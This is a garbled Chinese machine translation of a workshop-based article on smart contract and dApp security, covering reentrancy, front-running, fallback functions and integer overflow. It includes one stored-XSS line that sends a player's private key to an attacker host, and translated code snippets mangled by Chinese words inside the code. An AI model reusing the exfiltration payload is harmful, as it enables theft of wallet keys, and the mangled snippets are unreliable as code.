【译】Introduction to Smart Contract and DApp Security

ether这是我 与 Jessica Marshall  William Dias  C. Brown  ETHDenver 带领的研讨会的成绩单 。 你可以在他们的 Facebook页面 上看到它的视频 

看看那些惊人的工程师!

智能合约和dapp编程是一种新的范例,它要求我们作为开发者的行为与以前不同。 在这个新的范例中,旧版的快速移动和破坏事物的facebook格言不起作用。 由于这类开发所固有的风险,我们都需要学习采用缓慢且有条不紊的方法来构建我们的应用程序,在设计和编码时谨慎和考虑。 我们也不能让自己承受严格的最后期限的压力。 有点讽刺的是,我正在黑客马拉松演讲!

如果构建大多数传统Web应用程序与分诊所类似,则区块链更像是一个急诊室。 有些问题很小,但是一旦你超过某个特定点(如果有的话),并且必须考虑到每个可能的负面结果,它们中的大多数都很难解决。 如果没有,你可能会面临可怕的后果。 在进入具体的课程之前,我想重申一下这项技术的某些方面,这迫使我们如此小心。

所有代码都是公开的

由于几个不同的原因,这提出了一个问题。 首先,由于任何人都可以看到你的代码,很明显,智能合约中不应该记录敏感的个人信息。 当然,想要在用户链上运行用户数据分析是一项崇高的事业,但这对新用户Johnny来说可能听起来不太好,因为他的浏览器历史已经暴露给全世界!

呃哦

您的智能合约及其关联的存储只应存储合同正常运行所必需的信息。

其次,更重要的是,所有的源代码都是公开的。 这意味着每个坐在地下室的全明星黑客都有足够的时间和自由来梳理每条寻找错误的线路。 这次没有隐藏在预编译的二进制文件之后。

气体限制

正如我相信你们大多数人都知道的那样,以太坊区块链计算成本很高,而且也有一定的限制! 如果您的合同中有逻辑可能会导致大量天然气被消耗,那么这可能会造成问题。 循环是这个的常见原因。

最后,但最重要的是:

不变性

所有的代码都是按照它的编程方式执行的,并且禁止一个DAO级的硬分叉,在区块链上采取的行动是不可改变的

所以没有采取后卫。 这是我们如何确保不信任。 我们将信任编入我们的代码,以便我们可以相信它,而不是彼此。 事实上,我开始相信智能合约更多的是我相信一些人类。 智能合约不会骗你,智能合约不会欺骗你,而智能合约不会在周二凌晨2点发布关于朝鲜的愤怒推文。

首先,我欢迎我们最终的全球区块链霸主。

但在我们到达这一点之前,我们必须成为那栋大楼的人! 我们的智能合约应该是防黑客,防脚本的,甚至是科技不识字的奶奶证明。 如果我们的科技文盲奶奶不小心将她的谷歌搜索痔疮膏发布到Facebook,这不是一个大问题,我们可以删除它。 但是,如果她因为写得不好的智能合同而暴露她的公钥,那么我们就不能做很多事情。 她的技术娴熟的侄子约翰尼不能帮助她,因为他太忙了,试图从区块链中删除他的浏览器历史!

我们得假设每个人都是一个技术文盲老奶奶,并尽可能地做到彻底确保功能被正确调用,并且操作无误地执行,因为你永远不知道,有些人在你的多信用卡钱包图书馆里搞乱了数百万美元在以太可能只是意外地把所有权和自杀整个事情。

我将通过一些你应该准备好的漏洞的例子,并且我们会做一些练习让每个人都参与其中。

让我们准备好诊断一些应用程序和智能合约漏洞。

应用示例和建议

威廉迪亚斯

我们的第一个病人的时间。 这一个被命名为“应用程序安全性”。让我们从一些背景开始。

这是一个分散的游戏平台:

  • 这是一个基于浏览器的应用程序
  • 游戏开发者可以公开发布他们的游戏(在ethereum网络上运行的dapps)
  • 玩家可以注册dapp并从各种游戏中选择玩游戏(并最终在虚拟商品中使用ETH)。
  • 注册时创建新钱包(在这种情况下不需要喷雾/元素掩码)。
  • 钱包密钥存储在播放器的浏览器中用于验证/小额支付目的。

正如你所看到的,这似乎是开发者通过一个平台发布和连接玩家的好地方。

不幸的是,当一款游戏HODL QUEST发布时,立即下载的用户开始从他们的钱包中失去ether

ether去了哪里? 我们来看看该平台的一些方面。

  • 这个问题是由几个小时前发布的一款新游戏引起的(HODL QUEST)
  • 第一次开放游戏后,钱包资金已经过去了几秒钟
  • 在游戏注册过程中,开发者在平台内输入名称,智能合约地址和dapp URL
  • 该平台将游戏iframe嵌入到dapp中,同时在页面顶部显示游戏名称。

你可以开始看到这里将要发生的事情......经过进一步检查,我们发现HODL QUEST的游戏开发者在注册期间在游戏标题中注入了内联脚本。 所以仔细观察游戏的html代码,我们发现了这样的事情:

  <h1> HODL <script> $ .post('https://haxxx.lol/',localStore.getItem('privateKey')); </ script> QUEST </ h1> 

玩家的浏览器最终评估插入在游戏标题中的JavaScript片段并将玩家的私钥发送给攻击者远程服务器。

这只是我们构建分散式应用程序时可能出现的众多问题之一。 这是您在构建这些项目时要记住的事项清单。

  • 保护钱包和私钥:如果用户的钱包被盗用,这是游戏结束。 处理这些敏感信息时需要特别注意。
  • 保护用户信息:用户不希望他们的个人数据暴露于世界。 确保用户数据保持私密。
  • 明智地评估需要存储在区块链或服务器中的内容。 只包含您的智能合约在合同本身内发挥作用所必需的数据。
  • 使用HTTPS:这是标准做法,应该很明显
  • .gitignore敏感文件:另一种防止意外泄露漏洞的方法
  • 不要在您的代码中插入访问/ API密钥。
  • 在dapp中执行关键/风险任务时请求2FA:在区块链上执行的操作是不可变的,因此具有额外的安全层非常重要。

您的应用程序的安全性与您的智能合同的安全性一样重要,应始终放在心上。

智能合同竞赛条件

 杰西卡马歇尔

什么是种族条件? 竞态条件是指电子产品,软件或其他系统的行为,输出取决于其他不可控制事件的顺序或时间。 当事件没有按照程序员的意图发生时,它就成了一个错误。 这是以太坊智能合约中许多漏洞的根源。

竞争条件的一个愚蠢的例子

在以太坊智能合约中出现了几种不同的竞争条件。 在这篇文章中,我们将重点讨论两种常见的情况。 重入和交易订单前台运行。

重入

如果计算机程序在其执行过程中可以被中断,并且在之前的调用完成执行之前再次被安全地再次调用(“重新进入”),则该程序称为可重入 。 当对其他合约进行外部呼叫时,这可以在智能合约中显示,因为它们可能在原始呼叫结束之前回拨到原始功能。 你问这怎么可能?

输入后备功能,这是当以太网发送到您的合同而未提供要调用的函数名称时调用的功能。

在这个例子中,当撤销函数使用address.call.value()方法发送ether时,它会触发BankRobber的回退函数,然后可以再次调用撤消方法。 正如你所看到的,这将导致银行合同一遍又一遍地发送以太网,可能会让银行的所有以太网消失!

我们如何防止这一点? 有几种不同的方式。 第一个依赖于我们对发送,转移和呼叫之间差异的理解。

很多选项

从上图可以看出,发送以太网有很多不同的方式,但大多数情况下,您需要使用address.transfer。 这是因为转让只能转发2300天然气,如果交易耗尽了所有天然气,则转回。 这样,如果恶意合同试图重新签订合同,天然气将被用完,整个交易将被还原。

在某些情况下,使用发送或呼叫是有意义的,但在使用这些发送或呼叫时需要格外小心,因为只有在您感到非常自在的情况下,您才能确定您正在发送的合约正在做什么。 99%的时间,转移是正确的路径。

防止重新进入的另一种方法是在进行外部调用之前更新状态,并在合同中执行检查以确保状态代表将要执行的事务。

交易排序前台运行

竞赛状况恶化的另一种情况是跑步。 这是因为区块链的公共性质。 如果您在智能合约中执行拍卖或类似机制,可能会操纵出价,因为出价在执行前存在于未经确认的交易池中。 在这段时间内,其他恶意行为者可以监控该池并发送破坏已发送出价的交易。 此外,矿工可以重新排序交易,以优先处理恶意交易。

有几种不同的方法来防止这样的操作。 一个是批量拍卖,另一个是投标和透露计划 ,其中投标人发送他们的出价哈希,直到他们被确认之后才被发现。

让我们试着挽救另一位患者。

这是一个合同,可以让人们可以将ether送到合同上成为新的国王。 当一个新人成为国王时,这个老国王就会得到合同的ether 你能找到这个漏洞吗?

重入不是问题,但是在这个漏洞中有更多的“关注世界”。 在这个例子中,一个合约成为国王,然后在他们的后备功能,他们可以恢复。 这导致每一个试图让一个新所有者失败的未来交易都会导致合同关闭。 这是来自Ethernaut的一个很好的例子,它有探索智能合约安全的练习。 你可以在这里看到更详细的漏洞描述

这些示例显示,在进行外部呼叫时,您绝不应该认为您所调用的合同是可信的。 始终注意防止攻击者可能尝试的所有可能的负面结果。

需要注意的其他智能合同最佳实践

回退函数

回退函数非常有用,因为它们包含将以太网发送到合同时调用的代码。 但他们无法处理所有事情。

首先,后备功能只有在通过传输功能触发时才能使用2,300个气体,因此逻辑必须非常简单,以避免出现气体不足错误。

  //时间倒退函数的例子 
  //你不希望ether被送到合同 
 函数()应付{ 
 还原() 
  } 

有一个赶上! 当以太网强制发送到合同时,后备功能不会触发。

 合约ForceSend(){ 
 函数ForceSend(){ 
  //发送ETH给受害者而不触发后备功能 
 函数destroy(){ 
 自毁(受害者); 
  } 
  } 

selfdestruct功能将合约的ether发送给受害者地址。 此发送不会触发合同中的后备功能。 接受免费的ether是很好的,但正因为如此,你需要避免直接检查合同的平衡,并期望它是一个特定的价值,因为它可能实际上比你想象的要大!

整数算术

与大多数现代体系结构不同,E​​VM不处理浮点数或算术运算。 所有数字存储和算术都是用整数处理的。 这是什么意思? 这意味着您的合同中没有任何可以存储任何小数的任何内容,或者执行通常会返回小数的操作,例如查找百分比等。 让我们看一个例子。

想象一下,您正在创建一个令牌销售智能合约,根据销售中已经过了多少时间为买家提供奖金购买。 它可能看起来像这样。

  ///从合约代码中摘录 
 函数calculatePrice()返回(uint256){ 
  uint percentTimePassed =(now  -  startTime)/(endTime  -  startTime); 
  uint price =(1-percentTimePassed)* basePrice + basePrice; 
 退货价格; 
  } 

正如你所看到的,用传统的语言来说,这没问题。 经过的时间百分比将计算为0到1之间的小数,然后应用于价格。

不幸的是,这不适用于整数算术。 如果某项操作不正确,则可能会出现一些不正确的百分比会导致严重问题的情况。

在Solidity中,你将不得不这样做:

  ///从合约代码中摘录 
 函数calculatePrice()返回(uint256){ 
  uint percentTimePassed = 100 *(now  -  startTime)/(endTime  -  startTime); 
  uint price =((1-percentTimePassed)* basePrice)/ 100 + basePrice; 
 退货价格; 
  } 

这样,百分比计算为0到100之间的整数,应用于基准价格,然后除以100以将“小数位”固定到正确的点。 这是计算百分比的粗略方法,因为它牺牲了一些精度,但是基于EVM的运行方式是必要的。 通过乘以100的更大倍数,您可以获得更好的精确度,但这是一个决定,取决于合同的上下文。

整数溢出/下溢

根据维基百科 ,当算术运算试图创建一个超出可用给定位数表示的范围的数值时,会发生整数溢出 - 要么大于最大值,要么低于最小可表示值。 大多数语言都有解决此问题的方法,但是Solidity无法自行处理溢出检查。 这在过去的几个智能合约区块链中引发了问题,但有一些简单的方法可以解决问题。 以下是使用Solidity添加的示例:

 函数add(uint a,uint b){ 
  res = a + b 
  if(res-b == a)&&(res> b || res == b){ 
  //操作很安全 
  } else { 
  //溢出 
  } 
  } 

这通过确保结果不包围变量所具有的最大值来检查加法操作的溢出。 减法,乘法和除法需要进行类似的检查。

幸运的是,有图书馆为你做这个! 您可以查看我们的基础数学库,并使用它来处理智能合约中的所有这些情况。

患者#3

你能找到合同中的错误吗?

  uint []公共bonusCodes; 
 函数pushBonusCode(uint代码)onlyOwner { 
  bonusCodes.push(代码); 
  } 
 函数popBonusCode()onlyOwner { 
  require(bonusCodes.length> = 0); 
  bonusCodes.length--; 
  } 
 函数modifyBonusCode(uint索引,uint更新)onlyOwner { 
  require(index <bonusCodes.length); 
  bonusCodes [index] =更新; 
  } 

这是格霍伊特对“虚张声势严谨”编码比赛的贡献!

从详细说明结果的文章中 ,该合同特征为长度字段可以递减到0以下的存储阵列。这导致算术下溢,从而有效地禁用了Solidity的数组边界检查。 因此,写入数组的溢出后可用于覆盖位于数组之后的任何存储元素 - 包括所有映射!

那么我们错过了什么?

事情是,我们并不确定。 可能有一些我们没有考虑到的细小事情,这可能是杀死病人的问题,或者在我们的情况下,会让我们的用户花费数百万美元购买Ether。

我们能做的最好的事情就是在设计我们的应用程序和编写代码的整个过程中,遵循所有现有的应用程序和智能合约最佳实践,广泛测试并由知道要寻找什么的人审核我们的代码。

还有其他的东西可以用来改善智能合约的功能和安全性!

图书馆!

更具体地说, 模块化的以太坊 - 图书馆 。

在你坐下来写代码之前,要意识到社区中还有很多其他伟大的开发人员可能已经完成了与你正在尝试做的事情类似的事情,并且可能已经测试过可以用于你的代码的安全代码您自己的项目中的一些常用功能。

使用Solidity Libraries,您可以将库导入到您的智能合约中,并像使用合同一样使用功能! 我们在测试网络和mainnet上部署了超过20个库,用于各种用途,如基础数学,数组,链表,令牌,甚至是众包。 这是经过生产测试的代码,可以轻松集成到您的项目中。

查看我们的存储库以获取有关如何入门的说明!

现在,您有一些工具可以在构建智能合约和分布式应用程序时保持安全。 剩下的就是在沿途安全地建造东西。 不要忘记,这项技术还处于初级阶段。 我们每天都在学习有关EVM和Solidity的新知识,所以请始终关注以太坊开发的最佳实践以及对生态系统的任何更新。 有一些很棒的资源可以用于你的学习体验。

Consensys的智能合同最佳实践文档 :这些都是很好的笔记,可以探索今天讨论的漏洞以及许多重要的漏洞。

模块化的以太坊图书馆存储库:在这里您可以找到关于如何将我们的图书馆集成到您的项目中的详细说明。

所以,我们可能无法挽救小约翰尼一辈子的浏览器历史导致的耻辱,但如果我们按照这篇文章中概述的指导方针,我们可能能够从类似的命运中拯救数百万美元。

在Modular,我们正在努力解决生态系统中存在的许多安全和可用性问题。我们正在构建Blossom,这是一种新的桌面钱包,允许用户避免复杂的密钥和地址管理,同时仍然完全控制其资金。 这个钱包还将集成KYC以及令牌和众包启动功能。 您可以在我们的注册页面上注册新闻简报,以便在不久的将来获得关于该版本的更多更新。

查看我们的网站: https : //modular.network/


https://medium.com/modular-network/introduction-to-smart-contract-and-dapp-security-556502629d54

猜你喜欢

转载自blog.csdn.net/omnispace/article/details/80491873
今日推荐